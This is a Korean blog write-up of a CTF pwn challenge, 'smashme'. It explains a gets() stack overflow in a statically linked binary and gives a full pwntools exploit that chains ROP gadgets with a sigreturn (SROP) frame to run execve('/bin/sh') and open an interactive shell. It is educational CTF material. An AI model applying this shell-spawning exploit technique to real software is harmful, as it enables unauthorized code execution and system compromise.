보호기법은 aslr외엔 없다.
헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.
그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.
우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.
근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.
따라서 syscall을 해서 문제를 풀었다.
srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.
문서from pwn import * r = process("./smashme") elf = ELF("./smashme") read = elf.symbols['read'] write = elf.symbols['write'] bss = elf.bss() pop_rax = 0x4c3b28 pop_rdi = 0x4014d6 pop_rsi = 0x4015f7 pop_rdx = 0x441e46 pop_rcx = 0x490db3 cmd = "/bin/sh\x00" syscall = 0x466815 log.info("bss = {}".format(hex(bss))) payload = "Smash me outside, how bout dAAAAAAAAAAA" payload += "A"*33 payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi) payload += p64(bss) payload += p64(pop_rdx) payload += p64(4) payload += p64(write) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(bss) payload += p64(pop_rdx) payload += p64(len(cmd)) payload += p64(read) payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi) payload += p64(bss) payload += p64(pop_rdx) payload += p64(len(cmd)) payload += p64(write) payload += p64(pop_rax) payload += p64(0xf) payload += p64(syscall) frame = SigreturnFrame(arch="amd64") frame.rax = 0x3b frame.rdi = bss frame.rsp = syscall frame.rip = syscall payload += str(frame) print r.recv() r.sendline(payload) print r.recv() r.sendline(cmd) print r.recv() r.interactive()
Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64
'CTF' 카테고리의 다른 글
BCTF 2016 bcloud (0) | 2018.08.24 |
---|---|
Defcon 2014 Babyfirst heap (0) | 2018.08.16 |
Plaid 2014 ezhp (0) | 2018.08.12 |
CodeGate2017 messenger (0) | 2018.08.07 |
RCTF 2015 welpwn (0) | 2018.08.01 |